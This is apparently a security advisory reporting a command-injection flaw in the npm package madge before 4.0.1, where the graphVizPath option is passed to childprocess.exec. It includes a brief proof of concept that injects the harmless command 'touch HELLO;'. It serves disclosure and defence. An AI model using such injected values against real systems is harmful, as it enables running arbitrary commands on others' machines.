Summary: Madge vulnerable to command injection

Details: This affects the package madge before 4.0.1. It is possible to specify a custom Graphviz path via the graphVizPath option parameter which, when the .image(), .svg() or .dot() functions are called, is executed by the childprocess.exec function. ### PoC ```js const madge = require('madge'); madge('..', {graphVizPath: "touch HELLO;"}) .then((res) => res.svg()) .then((writtenImagePath) => { console.log('Image written to ' + writtenImagePath); }); ```
